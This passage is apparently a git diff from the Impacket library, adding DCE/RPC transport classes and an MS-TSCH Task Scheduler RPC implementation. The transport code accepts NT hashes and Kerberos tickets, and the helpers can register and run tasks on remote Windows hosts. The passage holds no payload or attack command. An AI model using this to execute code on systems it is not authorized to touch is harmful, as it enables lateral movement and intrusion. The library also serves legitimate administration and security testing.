+        if self._stringbinding.is_option_set("RpcProxy"):
+            self.rpc_proxy_init()
+
+            rpcproxy = self._stringbinding.get_option("RpcProxy").split(":")
+
+            if rpcproxy[1] == '443':
+                self.set_rpc_proxy_url('https://%s/rpc/rpcproxy.dll' % rpcproxy[0])
+            elif rpcproxy[1] == '80':
+                self.set_rpc_proxy_url('http://%s/rpc/rpcproxy.dll' % rpcproxy[0])
+            else:
+                # 2.1.2.1
+                # RPC over HTTP always uses port 80 for HTTP traffic and port 443 for HTTPS traffic.
+                # But you can use set_rpc_proxy_url method to set any URL / query you want.
+                raise DCERPCException("RPC Proxy port must be 80 or 443")
+
+    def connect(self):
+        if self._useRpcProxy == False:
+            # Connecting directly to the ncacn_http port
+            #
+            # Here we using RPC over HTTPv1 instead complex RPC over HTTP v2 syntax
+            # RPC over HTTP v2 here can be implemented in the future
+            self._version = RPC_OVER_HTTP_v1
+
+            TCPTransport.connect(self)
+
+            # Reading legacy server response
+            data = self.get_socket().recv(8192)
+
+            if data != b'ncacn_http/1.0':
+                raise DCERPCException("%s:%s service is not ncacn_http" % (self.__remoteName, self.__dstport))
+        else:
+            RPCProxyClient.connect(self)
+
+    def send(self, data, forceWriteAndx=0, forceRecv=0):
+        return self._transport.send(self, data, forceWriteAndx, forceRecv)
+
+    def recv(self, forceRecv=0, count=0):
+        return self._transport.recv(self, forceRecv, count)
+
+    def get_socket(self):
+        if self._useRpcProxy == False:
+            return TCPTransport.get_socket(self)
+        else:
+            raise DCERPCException("This method is not supported for RPC Proxy connections")
+
+    def disconnect(self):
+        return self._transport.disconnect(self)
+
+class SMBTransport(DCERPCTransport):
+    """Implementation of ncacn_np protocol sequence"""
+
+    def __init__(self, remoteName, dstport=445, filename='', username='', password='', domain='', lmhash='', nthash='',
+                 aesKey='', TGT=None, TGS=None, remote_host='', smb_connection=0, doKerberos=False, kdcHost=None):
+        DCERPCTransport.__init__(self, remoteName, dstport)
+        self.__socket = None
+        self.__tid = 0
+        self.__filename = filename
+        self.__handle = 0
+        self.__pending_recv = 0
+        self.set_credentials(username, password, domain, lmhash, nthash, aesKey, TGT, TGS)
+        self._doKerberos = doKerberos
+        self._kdcHost = kdcHost
+
+        if remote_host != '':
+            self.setRemoteHost(remote_host)
+
+        if smb_connection == 0:
+            self.__existing_smb = False
+        else:
+            self.__existing_smb = True
+            self.set_credentials(*smb_connection.getCredentials())
+
+        self.__prefDialect = None
+        self.__smb_connection = smb_connection
+        self.set_connect_timeout(30)
+
+    def preferred_dialect(self, dialect):
+        self.__prefDialect = dialect
+
+    def setup_smb_connection(self):
+        if not self.__smb_connection:
+            self.__smb_connection = SMBConnection(self.getRemoteName(), self.getRemoteHost(), sess_port=self.get_dport(),
+                                                  preferredDialect=self.__prefDialect, timeout=self.get_connect_timeout())
+            if self._strict_hostname_validation:
+                self.__smb_connection.setHostnameValidation(self._strict_hostname_validation, self._validation_allow_absent, self._accepted_hostname)
+
+    def connect(self):
+        # Check if we have a smb connection already setup
+        if self.__smb_connection == 0:
+            self.setup_smb_connection()
+            if self._doKerberos is False:
+                self.__smb_connection.login(self._username, self._password, self._domain, self._lmhash, self._nthash)
+            else:
+                self.__smb_connection.kerberosLogin(self._username, self._password, self._domain, self._lmhash,
+                                                    self._nthash, self._aesKey, kdcHost=self._kdcHost, TGT=self._TGT,
+                                                    TGS=self._TGS)
+        self.__tid = self.__smb_connection.connectTree('IPC$')
+        self.__handle = self.__smb_connection.openFile(self.__tid, self.__filename)
+        self.__socket = self.__smb_connection.getSMBServer().get_socket()
+        return 1
+
+    def disconnect(self):
+        self.__smb_connection.disconnectTree(self.__tid)
+        # If we created the SMB connection, we close it, otherwise
+        # that's up for the caller
+        if self.__existing_smb is False:
+            self.__smb_connection.logoff()
+            self.__smb_connection.close()
+            self.__smb_connection = 0
+
+    def send(self,data, forceWriteAndx = 0, forceRecv = 0):
+        if self._max_send_frag:
+            offset = 0
+            while 1:
+                toSend = data[offset:offset+self._max_send_frag]
+                if not toSend:
+                    break
+                self.__smb_connection.writeFile(self.__tid, self.__handle, toSend, offset = offset)
+                offset += len(toSend)
+        else:
+            self.__smb_connection.writeFile(self.__tid, self.__handle, data)
+        if forceRecv:
+            self.__pending_recv += 1
+
+    def recv(self, forceRecv = 0, count = 0 ):
+        if self._max_send_frag or self.__pending_recv:
+            # _max_send_frag is checked because it's the same condition we checked
+            # to decide whether to use write_andx() or send_trans() in send() above.
+            if self.__pending_recv:
+                self.__pending_recv -= 1
+            return self.__smb_connection.readFile(self.__tid, self.__handle, bytesToRead = self._max_recv_frag)
+        else:
+            return self.__smb_connection.readFile(self.__tid, self.__handle)
+
+    def get_smb_connection(self):
+        return self.__smb_connection
+
+    def set_smb_connection(self, smb_connection):
+        self.__smb_connection = smb_connection
+        self.set_credentials(*smb_connection.getCredentials())
+        self.__existing_smb = True
+
+    def get_smb_server(self):
+        # Raw Access to the SMBServer (whatever type it is)
+        return self.__smb_connection.getSMBServer()
+
+    def get_socket(self):
+        return self.__socket
+
+    def doesSupportNTLMv2(self):
+        return self.__smb_connection.doesSupportNTLMv2()
+
+class LOCALTransport(DCERPCTransport):
+    """
+    Implementation of ncalocal protocol sequence, not the same
+    as ncalrpc (I'm not doing LPC just opening the local pipe)
+    """
+
+    def __init__(self, filename = ''):
+        DCERPCTransport.__init__(self, '', 0)
+        self.__filename = filename
+        self.__handle = 0
+
+    def connect(self):
+        if self.__filename.upper().find('PIPE') < 0:
+            self.__filename = '\\PIPE\\%s' % self.__filename
+        self.__handle = os.open('\\\\.\\%s' % self.__filename, os.O_RDWR|os.O_BINARY)
+        return 1
+
+    def disconnect(self):
+        os.close(self.__handle)
+
+    def send(self,data, forceWriteAndx = 0, forceRecv = 0):
+        os.write(self.__handle, data)
+
+    def recv(self, forceRecv = 0, count = 0 ):
+        data = os.read(self.__handle, 65535)
+        return data
diff --git a/impacket/dcerpc/v5/tsch.py b/impacket/dcerpc/v5/tsch.py
new file mode 100644
index 0000000..27d890d
--- /dev/null
+++ b/impacket/dcerpc/v5/tsch.py
@@ -0,0 +1,802 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   [MS-TSCH] ITaskSchedulerService Interface implementation
+#
+#   Best way to learn how to use these calls is to grab the protocol standard
+#   so you understand what the call does, and then read the test case located
+#   at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC
+#
+#   Some calls have helper functions, which makes it even easier to use.
+#   They are located at the end of this file.
+#   Helper functions start with "h"<name of the call>.
+#   There are test cases for them too.
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray
+from impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, ULONG, WSTR, NULL, GUID, PSYSTEMTIME, SYSTEMTIME
+from impacket.structure import Structure
+from impacket import hresult_errors, system_errors
+from impacket.uuid import uuidtup_to_bin
+from impacket.dcerpc.v5.rpcrt import DCERPCException
+
+MSRPC_UUID_TSCHS  = uuidtup_to_bin(('86D35949-83C9-4044-B424-DB363231FD0C','1.0'))
+
+class DCERPCSessionError(DCERPCException):
+    def __init__(self, error_string=None, error_code=None, packet=None):
+        DCERPCException.__init__(self, error_string, error_code, packet)
+
+    def __str__( self ):
+        key = self.error_code
+        if key in hresult_errors.ERROR_MESSAGES:
+            error_msg_short = hresult_errors.ERROR_MESSAGES[key][0]
+            error_msg_verbose = hresult_errors.ERROR_MESSAGES[key][1]
+            return 'TSCH SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
+        elif key & 0xffff in system_errors.ERROR_MESSAGES:
+            error_msg_short = system_errors.ERROR_MESSAGES[key & 0xffff][0]
+            error_msg_verbose = system_errors.ERROR_MESSAGES[key & 0xffff][1]
+            return 'TSCH SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
+        else:
+            return 'TSCH SessionError: unknown error code: 0x%x' % self.error_code
+
+################################################################################
+# CONSTANTS
+################################################################################
+# 2.3.1 Constant Values
+CNLEN = 15
+DNLEN = CNLEN
+UNLEN = 256
+MAX_BUFFER_SIZE = (DNLEN+UNLEN+1+1)
+
+# 2.3.7 Flags
+TASK_FLAG_INTERACTIVE                  = 0x1
+TASK_FLAG_DELETE_WHEN_DONE             = 0x2
+TASK_FLAG_DISABLED                     = 0x4
+TASK_FLAG_START_ONLY_IF_IDLE           = 0x10
+TASK_FLAG_KILL_ON_IDLE_END             = 0x20
+TASK_FLAG_DONT_START_IF_ON_BATTERIES   = 0x40
+TASK_FLAG_KILL_IF_GOING_ON_BATTERIES   = 0x80
+TASK_FLAG_RUN_ONLY_IF_DOCKED           = 0x100
+TASK_FLAG_HIDDEN                       = 0x200
+TASK_FLAG_RUN_IF_CONNECTED_TO_INTERNET = 0x400
+TASK_FLAG_RESTART_ON_IDLE_RESUME       = 0x800
+TASK_FLAG_SYSTEM_REQUIRED              = 0x1000
+TASK_FLAG_RUN_ONLY_IF_LOGGED_ON        = 0x2000
+
+# 2.3.9 TASK_LOGON_TYPE
+TASK_LOGON_NONE                          = 0
+TASK_LOGON_PASSWORD                      = 1
+TASK_LOGON_S4U                           = 2
+TASK_LOGON_INTERACTIVE_TOKEN             = 3
+TASK_LOGON_GROUP                         = 4
+TASK_LOGON_SERVICE_ACCOUNT               = 5
+TASK_LOGON_INTERACTIVE_TOKEN_OR_PASSWORD = 6
+
+# 2.3.13 TASK_STATE
+TASK_STATE_UNKNOWN  = 0
+TASK_STATE_DISABLED = 1
+TASK_STATE_QUEUED   = 2
+TASK_STATE_READY    = 3
+TASK_STATE_RUNNING  = 4
+
+# 2.4.1 FIXDLEN_DATA
+SCHED_S_TASK_READY         = 0x00041300
+SCHED_S_TASK_RUNNING       = 0x00041301
+SCHED_S_TASK_NOT_SCHEDULED = 0x00041301
+
+# 2.4.2.11 Triggers
+TASK_TRIGGER_FLAG_HAS_END_DATE         = 0
+TASK_TRIGGER_FLAG_KILL_AT_DURATION_END = 0
+TASK_TRIGGER_FLAG_DISABLED             = 0
+
+# ToDo: Change this to enums
+ONCE                 = 0
+DAILY                = 1
+WEEKLY               = 2
+MONTHLYDATE          = 3
+MONTHLYDOW           = 4
+EVENT_ON_IDLE        = 5
+EVENT_AT_SYSTEMSTART = 6
+EVENT_AT_LOGON       = 7
+
+SUNDAY    = 0
+MONDAY    = 1
+TUESDAY   = 2
+WEDNESDAY = 3
+THURSDAY  = 4
+FRIDAY    = 5
+SATURDAY  = 6
+
+JANUARY   = 1
+FEBRUARY  = 2
+MARCH     = 3
+APRIL     = 4
+MAY       = 5
+JUNE      = 6
+JULY      = 7
+AUGUST    = 8
+SEPTEMBER = 9
+OCTOBER   = 10
+NOVEMBER  = 11
+DECEMBER  = 12
+
+# 2.4.2.11.8 MONTHLYDOW Trigger
+FIRST_WEEK  = 1
+SECOND_WEEK = 2
+THIRD_WEEK  = 3
+FOURTH_WEEK = 4
+LAST_WEEK   = 5
+
+# 2.3.12 TASK_NAMES
+TASK_NAMES = LPWSTR
+
+# 3.2.5.4.2 SchRpcRegisterTask (Opnum 1)
+TASK_VALIDATE_ONLY                = 1<<(31-31)
+TASK_CREATE                       = 1<<(31-30)
+TASK_UPDATE                       = 1<<(31-29)
+TASK_DISABLE                      = 1<<(31-28)
+TASK_DON_ADD_PRINCIPAL_ACE        = 1<<(31-27)
+TASK_IGNORE_REGISTRATION_TRIGGERS = 1<<(31-26)
+
+# 3.2.5.4.5 SchRpcSetSecurity (Opnum 4)
+TASK_DONT_ADD_PRINCIPAL_ACE = 1<<(31-27)
+SCH_FLAG_FOLDER             = 1<<(31-2)
+SCH_FLAG_TASK               = 1<<(31-1) 
+
+# 3.2.5.4.7 SchRpcEnumFolders (Opnum 6)
+TASK_ENUM_HIDDEN = 1
+
+# 3.2.5.4.13 SchRpcRun (Opnum 12)
+TASK_RUN_AS_SELF            = 1<<(31-31)
+TASK_RUN_IGNORE_CONSTRAINTS = 1<<(31-30)
+TASK_RUN_USE_SESSION_ID     = 1<<(31-29)
+TASK_RUN_USER_SID           = 1<<(31-28)
+
+# 3.2.5.4.18 SchRpcGetTaskInfo (Opnum 17)
+SCH_FLAG_STATE            = 1<<(31-3)
+
+################################################################################
+# STRUCTURES
+################################################################################
+# 2.3.12 TASK_NAMES
+class TASK_NAMES_ARRAY(NDRUniConformantArray):
+    item = TASK_NAMES
+
+class PTASK_NAMES_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data',TASK_NAMES_ARRAY),
+    )
+
+class WSTR_ARRAY(NDRUniConformantArray):
+    item = WSTR
+
+class PWSTR_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data',WSTR_ARRAY),
+    )
+
+class GUID_ARRAY(NDRUniConformantArray):
+    item = GUID
+
+class PGUID_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data',GUID_ARRAY),
+    )
+
+# 3.2.5.4.13 SchRpcRun (Opnum 12)
+class SYSTEMTIME_ARRAY(NDRUniConformantArray):
+    item = SYSTEMTIME
+
+class PSYSTEMTIME_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data',SYSTEMTIME_ARRAY),
+    )
+
+# 2.3.8 TASK_USER_CRED
+class TASK_USER_CRED(NDRSTRUCT):
+    structure =  (
+        ('userId',LPWSTR),
+        ('password',LPWSTR),
+        ('flags',DWORD),
+    )
+
+class TASK_USER_CRED_ARRAY(NDRUniConformantArray):
+    item = TASK_USER_CRED
+
+class LPTASK_USER_CRED_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data',TASK_USER_CRED_ARRAY),
+    )
+
+# 2.3.10 TASK_XML_ERROR_INFO
+class TASK_XML_ERROR_INFO(NDRSTRUCT):
+    structure =  (
+        ('line',DWORD),
+        ('column',DWORD),
+        ('node',LPWSTR),
+        ('value',LPWSTR),
+    )
+
+class PTASK_XML_ERROR_INFO(NDRPOINTER):
+    referent = (
+        ('Data',TASK_XML_ERROR_INFO),
+    )
+
+# 2.4.1 FIXDLEN_DATA
+class FIXDLEN_DATA(Structure):
+    structure = (
+        ('Product Version','<H=0'),
+        ('File Version','<H=0'),
+        ('Job uuid','16s="'),
+        ('App Name Len Offset','<H=0'),
+        ('Trigger Offset','<H=0'),
+        ('Error Retry Count','<H=0'),
+        ('Error Retry Interval','<H=0'),
+        ('Idle Deadline','<H=0'),
+        ('Idle Wait','<H=0'),
+        ('Priority','<L=0'),
+        ('Maximum Run Time','<L=0'),
+        ('Exit Code','<L=0'),
+        ('Status','<L=0'),
+        ('Flags','<L=0'),
+    )
+
+# 2.4.2.11 Triggers
+class TRIGGERS(Structure):
+    structure = (
+        ('Trigger Size','<H=0'),
+        ('Reserved1','<H=0'),
+        ('Begin Year','<H=0'),
+        ('Begin Month','<H=0'),
+        ('Begin Day','<H=0'),
+        ('End Year','<H=0'),
+        ('End Month','<H=0'),
+        ('End Day','<H=0'),
+        ('Start Hour','<H=0'),
+        ('Start Minute','<H=0'),
+        ('Minutes Duration','<L=0'),
+        ('Minutes Interval','<L=0'),
+        ('Flags','<L=0'),
+        ('Trigger Type','<L=0'),
+        ('TriggerSpecific0','<H=0'),
+        ('TriggerSpecific1','<H=0'),
+        ('TriggerSpecific2','<H=0'),
+        ('Padding','<H=0'),
+        ('Reserved2','<H=0'),
+        ('Reserved3','<H=0'),
+    )
+
+# 2.4.2.11.6 WEEKLY Trigger
+class WEEKLY(Structure):
+    structure = (
+        ('Trigger Type','<L=0'),
+        ('Weeks Interval','<H=0'),
+        ('DaysOfTheWeek','<H=0'),
+        ('Unused','<H=0'),
+        ('Padding','<H=0'),
+    )
+
+# 2.4.2.11.7 MONTHLYDATE Trigger
+class MONTHLYDATE(Structure):
+    structure = (
+        ('Trigger Type','<L=0'),
+        ('Days','<L=0'),
+        ('Months','<H=0'),
+        ('Padding','<H=0'),
+    )
+
+# 2.4.2.11.8 MONTHLYDOW Trigger
+class MONTHLYDOW(Structure):
+    structure = (
+        ('Trigger Type','<L=0'),
+        ('WhichWeek','<H=0'),
+        ('DaysOfTheWeek','<H=0'),
+        ('Months','<H=0'),
+        ('Padding','<H=0'),
+        ('Reserved2','<H=0'),
+        ('Reserved3','<H=0'),
+    )
+
+# 2.4.2.12 Job Signature
+class JOB_SIGNATURE(Structure):
+    structure = (
+        ('SignatureVersion','<HH0'),
+        ('MinClientVersion','<H=0'),
+        ('Signature','64s="'),
+    )
+
+################################################################################
+# RPC CALLS
+################################################################################
+# 3.2.5.4.1 SchRpcHighestVersion (Opnum 0)
+class SchRpcHighestVersion(NDRCALL):
+    opnum = 0
+    structure = (
+    )
+
+class SchRpcHighestVersionResponse(NDRCALL):
+    structure = (
+        ('pVersion', DWORD),
+        ('ErrorCode',ULONG),
+    )
+
+# 3.2.5.4.2 SchRpcRegisterTask (Opnum 1)
+class SchRpcRegisterTask(NDRCALL):
+    opnum = 1
+    structure = (
+        ('path', LPWSTR),
+        ('xml', WSTR),
+        ('flags', DWORD),
+        ('sddl', LPWSTR),
+        ('logonType', DWORD),
+        ('cCreds', DWORD),
+        ('pCreds', LPTASK_USER_CRED_ARRAY),
+    )
+
+class SchRpcRegisterTaskResponse(NDRCALL):
+    structure = (
+        ('pActualPath', LPWSTR),
+        ('pErrorInfo', PTASK_XML_ERROR_INFO),
+        ('ErrorCode',ULONG),
+    )
+
+# 3.2.5.4.3 SchRpcRetrieveTask (Opnum 2)
+class SchRpcRetrieveTask(NDRCALL):
+    opnum = 2
+    structure = (
+        ('path', WSTR),
+        ('lpcwszLanguagesBuffer', WSTR),
+        ('pulNumLanguages', DWORD),
+    )
+
+class SchRpcRetrieveTaskResponse(NDRCALL):
+    structure = (
+        ('pXml', LPWSTR),
+        ('ErrorCode',ULONG),
+    )
+
+# 3.2.5.4.4 SchRpcCreateFolder (Opnum 3)
+class SchRpcCreateFolder(NDRCALL):
+    opnum = 3
+    structure = (
+        ('path', WSTR),
+        ('sddl', LPWSTR),
+        ('flags', DWORD),
+    )
+
+class SchRpcCreateFolderResponse(NDRCALL):
+    structure = (
+        ('ErrorCode',ULONG),
+    )
+
+# 3.2.5.4.5 SchRpcSetSecurity (Opnum 4)
+class SchRpcSetSecurity(NDRCALL):
+    opnum = 4
+    structure = (
+        ('path', WSTR),
+        ('sddl', WSTR),
+        ('flags', DWORD),
+    )
+
+class SchRpcSetSecurityResponse(NDRCALL):
+    structure = (
+        ('ErrorCode',ULONG),
+    )
+
+# 3.2.5.4.6 SchRpcGetSecurity (Opnum 5)
+class SchRpcGetSecurity(NDRCALL):
+    opnum = 5
+    structure = (
+        ('path', WSTR),
+        ('securityInformation', DWORD),
+    )
+
+class SchRpcGetSecurityResponse(NDRCALL):
+    structure = (
+        ('sddl',LPWSTR),
+        ('ErrorCode',ULONG),
+    )
+
+# 3.2.5.4.7 SchRpcEnumFolders (Opnum 6)
+class SchRpcEnumFolders(NDRCALL):
+    opnum = 6
+    structure = (
+        ('path', WSTR),
+        ('flags', DWORD),
+        ('startIndex', DWORD),
+        ('cRequested', DWORD),
+    )
+
+class SchRpcEnumFoldersResponse(NDRCALL):
+    structure = (
+        ('startIndex', DWORD),
+        ('pcNames', DWORD),
+        ('pNames', PTASK_NAMES_ARRAY),
+        ('ErrorCode',ULONG),
+    )
+
+# 3.2.5.4.8 SchRpcEnumTasks (Opnum 7)
+class SchRpcEnumTasks(NDRCALL):
+    opnum = 7
+    structure = (
+        ('path', WSTR),
+        ('flags', DWORD),
+        ('startIndex', DWORD),
+        ('cRequested', DWORD),
+    )
+
+class SchRpcEnumTasksResponse(NDRCALL):
+    structure = (
+        ('startIndex', DWORD),
+        ('pcNames', DWORD),
+        ('pNames', PTASK_NAMES_ARRAY),
+        ('ErrorCode',ULONG),
+    )
+
+# 3.2.5.4.9 SchRpcEnumInstances (Opnum 8)
+class SchRpcEnumInstances(NDRCALL):
+    opnum = 8
+    structure = (
+        ('path', LPWSTR),
+        ('flags', DWORD),
+    )
+
+class SchRpcEnumInstancesResponse(NDRCALL):
+    structure = (
+        ('pcGuids', DWORD),
+        ('pGuids', PGUID_ARRAY),
+        ('ErrorCode',ULONG),
+    )
+
+# 3.2.5.4.10 SchRpcGetInstanceInfo (Opnum 9)
+class SchRpcGetInstanceInfo(NDRCALL):
+    opnum = 9
+    structure = (
+        ('guid', GUID),
+    )
+
+class SchRpcGetInstanceInfoResponse(NDRCALL):
+    structure = (
+        ('pPath', LPWSTR),
+        ('pState', DWORD),
+        ('pCurrentAction', LPWSTR),
+        ('pInfo', LPWSTR),
+        ('pcGroupInstances', DWORD),
+        ('pGroupInstances', PGUID_ARRAY),
+        ('pEnginePID', DWORD),
+        ('ErrorCode',ULONG),
+    )
+
+# 3.2.5.4.11 SchRpcStopInstance (Opnum 10)
+class SchRpcStopInstance(NDRCALL):
+    opnum = 10
+    structure = (
+        ('guid', GUID),
+        ('flags', DWORD),
+    )
+
+class SchRpcStopInstanceResponse(NDRCALL):
+    structure = (
+        ('ErrorCode',ULONG),
+    )
+
+# 3.2.5.4.12 SchRpcStop (Opnum 11)
+class SchRpcStop(NDRCALL):
+    opnum = 11
+    structure = (
+        ('path', LPWSTR),
+        ('flags', DWORD),
+    )
+
+class SchRpcStopResponse(NDRCALL):
+    structure = (
+        ('ErrorCode',ULONG),
+    )
+
+# 3.2.5.4.13 SchRpcRun (Opnum 12)
+class SchRpcRun(NDRCALL):
+    opnum = 12
+    structure = (
+        ('path', WSTR),
+        ('cArgs', DWORD),
+        ('pArgs', PWSTR_ARRAY),
+        ('flags', DWORD),
+        ('sessionId', DWORD),
+        ('user', LPWSTR),
+    )
+
+class SchRpcRunResponse(NDRCALL):
+    structure = (
+        ('pGuid', GUID),
+        ('ErrorCode',ULONG),
+    )
+
+# 3.2.5.4.14 SchRpcDelete (Opnum 13)
+class SchRpcDelete(NDRCALL):
+    opnum = 13
+    structure = (
+        ('path', WSTR),
+        ('flags', DWORD),
+    )
+
+class SchRpcDeleteResponse(NDRCALL):
+    structure = (
+        ('ErrorCode',ULONG),
+    )
+
+# 3.2.5.4.15 SchRpcRename (Opnum 14)
+class SchRpcRename(NDRCALL):
+    opnum = 14
+    structure = (
+        ('path', WSTR),
+        ('newName', WSTR),
+        ('flags', DWORD),
+    )
+
+class SchRpcRenameResponse(NDRCALL):
+    structure = (
+        ('ErrorCode',ULONG),
+    )
+
+# 3.2.5.4.16 SchRpcScheduledRuntimes (Opnum 15)
+class SchRpcScheduledRuntimes(NDRCALL):
+    opnum = 15
+    structure = (
+        ('path', WSTR),
+        ('start', PSYSTEMTIME),
+        ('end', PSYSTEMTIME),
+        ('flags', DWORD),
+        ('cRequested', DWORD),
+    )
+
+class SchRpcScheduledRuntimesResponse(NDRCALL):
+    structure = (
+        ('pcRuntimes',DWORD),
+        ('pRuntimes',PSYSTEMTIME_ARRAY),
+        ('ErrorCode',ULONG),
+    )
+
+# 3.2.5.4.17 SchRpcGetLastRunInfo (Opnum 16)
+class SchRpcGetLastRunInfo(NDRCALL):
+    opnum = 16
+    structure = (
+        ('path', WSTR),
+    )
+
+class SchRpcGetLastRunInfoResponse(NDRCALL):
+    structure = (
+        ('pLastRuntime',SYSTEMTIME),
+        ('pLastReturnCode',DWORD),
+        ('ErrorCode',ULONG),
+    )
+
+# 3.2.5.4.18 SchRpcGetTaskInfo (Opnum 17)
+class SchRpcGetTaskInfo(NDRCALL):
+    opnum = 17
+    structure = (
+        ('path', WSTR),
+        ('flags', DWORD),
+    )
+
+class SchRpcGetTaskInfoResponse(NDRCALL):
+    structure = (
+        ('pEnabled',DWORD),
+        ('pState',DWORD),
+        ('ErrorCode',ULONG),
+    )
+
+# 3.2.5.4.19 SchRpcGetNumberOfMissedRuns (Opnum 18)
+class SchRpcGetNumberOfMissedRuns(NDRCALL):
+    opnum = 18
+    structure = (
+        ('path', WSTR),
+    )
+
+class SchRpcGetNumberOfMissedRunsResponse(NDRCALL):
+    structure = (
+        ('pNumberOfMissedRuns',DWORD),
+        ('ErrorCode',ULONG),
+    )
+
+# 3.2.5.4.20 SchRpcEnableTask (Opnum 19)
+class SchRpcEnableTask(NDRCALL):
+    opnum = 19
+    structure = (
+        ('path', WSTR),
+        ('enabled', DWORD),
+    )
+
+class SchRpcEnableTaskResponse(NDRCALL):
+    structure = (
+        ('ErrorCode',ULONG),
+    )
+
+################################################################################
+# OPNUMs and their corresponding structures
+################################################################################
+OPNUMS = {
+ 0 : (SchRpcHighestVersion,SchRpcHighestVersionResponse ),
+ 1 : (SchRpcRegisterTask,SchRpcRegisterTaskResponse ),
+ 2 : (SchRpcRetrieveTask,SchRpcRetrieveTaskResponse ),
+ 3 : (SchRpcCreateFolder,SchRpcCreateFolderResponse ),
+ 4 : (SchRpcSetSecurity,SchRpcSetSecurityResponse ),
+ 5 : (SchRpcGetSecurity,SchRpcGetSecurityResponse ),
+ 6 : (SchRpcEnumFolders,SchRpcEnumFoldersResponse ),
+ 7 : (SchRpcEnumTasks,SchRpcEnumTasksResponse ),
+ 8 : (SchRpcEnumInstances,SchRpcEnumInstancesResponse ),
+ 9 : (SchRpcGetInstanceInfo,SchRpcGetInstanceInfoResponse ),
+ 10 : (SchRpcStopInstance,SchRpcStopInstanceResponse ),
+ 11 : (SchRpcStop,SchRpcStopResponse ),
+ 12 : (SchRpcRun,SchRpcRunResponse ),
+ 13 : (SchRpcDelete,SchRpcDeleteResponse ),
+ 14 : (SchRpcRename,SchRpcRenameResponse ),
+ 15 : (SchRpcScheduledRuntimes,SchRpcScheduledRuntimesResponse ),
+ 16 : (SchRpcGetLastRunInfo,SchRpcGetLastRunInfoResponse ),
+ 17 : (SchRpcGetTaskInfo,SchRpcGetTaskInfoResponse ),
+ 18 : (SchRpcGetNumberOfMissedRuns,SchRpcGetNumberOfMissedRunsResponse),
+ 19 : (SchRpcEnableTask,SchRpcEnableTaskResponse),
+}
+
+################################################################################
+# HELPER FUNCTIONS
+################################################################################
+def checkNullString(string):
+    if string == NULL:
+        return string
+
+    if string[-1:] != '\x00':
+        return string + '\x00'
+    else:
+        return string
+
+def hSchRpcHighestVersion(dce):
+    return dce.request(SchRpcHighestVersion())
+
+def hSchRpcRegisterTask(dce, path, xml, flags, sddl, logonType, pCreds = ()):
+    request = SchRpcRegisterTask()
+    request['path'] = checkNullString(path)
+    request['xml'] = checkNullString(xml)
+    request['flags'] = flags
+    request['sddl'] = sddl
+    request['logonType'] = logonType
+    request['cCreds'] = len(pCreds)
+    if len(pCreds) == 0:
+        request['pCreds'] = NULL
+    else:
+        for cred in pCreds:
+            request['pCreds'].append(cred)
+    return dce.request(request)
+
+def hSchRpcRetrieveTask(dce, path, lpcwszLanguagesBuffer = '\x00', pulNumLanguages=0 ):
+    schRpcRetrieveTask = SchRpcRetrieveTask()
+    schRpcRetrieveTask['path'] = checkNullString(path)
+    schRpcRetrieveTask['lpcwszLanguagesBuffer'] = lpcwszLanguagesBuffer
+    schRpcRetrieveTask['pulNumLanguages'] = pulNumLanguages
+    return dce.request(schRpcRetrieveTask)
+
+def hSchRpcCreateFolder(dce, path, sddl = NULL):
+    schRpcCreateFolder = SchRpcCreateFolder()
+    schRpcCreateFolder['path'] = checkNullString(path)
+    schRpcCreateFolder['sddl'] = sddl
+    schRpcCreateFolder['flags'] = 0
+    return dce.request(schRpcCreateFolder)
+
+def hSchRpcSetSecurity(dce, path, sddl, flags):
+    schRpcSetSecurity = SchRpcSetSecurity()
+    schRpcSetSecurity['path'] = checkNullString(path)
+    schRpcSetSecurity['sddl'] = checkNullString(sddl)
+    schRpcSetSecurity['flags'] = flags
+    return dce.request(schRpcSetSecurity)
+
+def hSchRpcGetSecurity(dce, path, securityInformation=0xffffffff):
+    schRpcGetSecurity = SchRpcGetSecurity()
+    schRpcGetSecurity['path'] = checkNullString(path)
+    schRpcGetSecurity['securityInformation'] = securityInformation
+    return dce.request(schRpcGetSecurity)
+
+def hSchRpcEnumFolders(dce, path, flags=TASK_ENUM_HIDDEN, startIndex=0, cRequested=0xffffffff):
+    schRpcEnumFolders = SchRpcEnumFolders()
+    schRpcEnumFolders['path'] = checkNullString(path)
+    schRpcEnumFolders['flags'] = flags
+    schRpcEnumFolders['startIndex'] = startIndex
+    schRpcEnumFolders['cRequested'] = cRequested
+    return dce.request(schRpcEnumFolders)
+
+def hSchRpcEnumTasks(dce, path, flags=TASK_ENUM_HIDDEN, startIndex=0, cRequested=0xffffffff):
+    schRpcEnumTasks = SchRpcEnumTasks()
+    schRpcEnumTasks['path'] = checkNullString(path)
+    schRpcEnumTasks['flags'] = flags
+    schRpcEnumTasks['startIndex'] = startIndex
+    schRpcEnumTasks['cRequested'] = cRequested
+    return dce.request(schRpcEnumTasks)
+
+def hSchRpcEnumInstances(dce, path, flags=TASK_ENUM_HIDDEN):
+    schRpcEnumInstances = SchRpcEnumInstances()
+    schRpcEnumInstances['path'] = checkNullString(path)
+    schRpcEnumInstances['flags'] = flags
+    return dce.request(schRpcEnumInstances)
+
+def hSchRpcGetInstanceInfo(dce, guid):
+    schRpcGetInstanceInfo = SchRpcGetInstanceInfo()
+    schRpcGetInstanceInfo['guid'] = guid
+    return dce.request(schRpcGetInstanceInfo)
+
+def hSchRpcStopInstance(dce, guid, flags = 0):
+    schRpcStopInstance = SchRpcStopInstance()
+    schRpcStopInstance['guid'] = guid
+    schRpcStopInstance['flags'] = flags
+    return dce.request(schRpcStopInstance)
+
+def hSchRpcStop(dce, path, flags = 0):
+    schRpcStop= SchRpcStop()
+    schRpcStop['path'] = checkNullString(path)
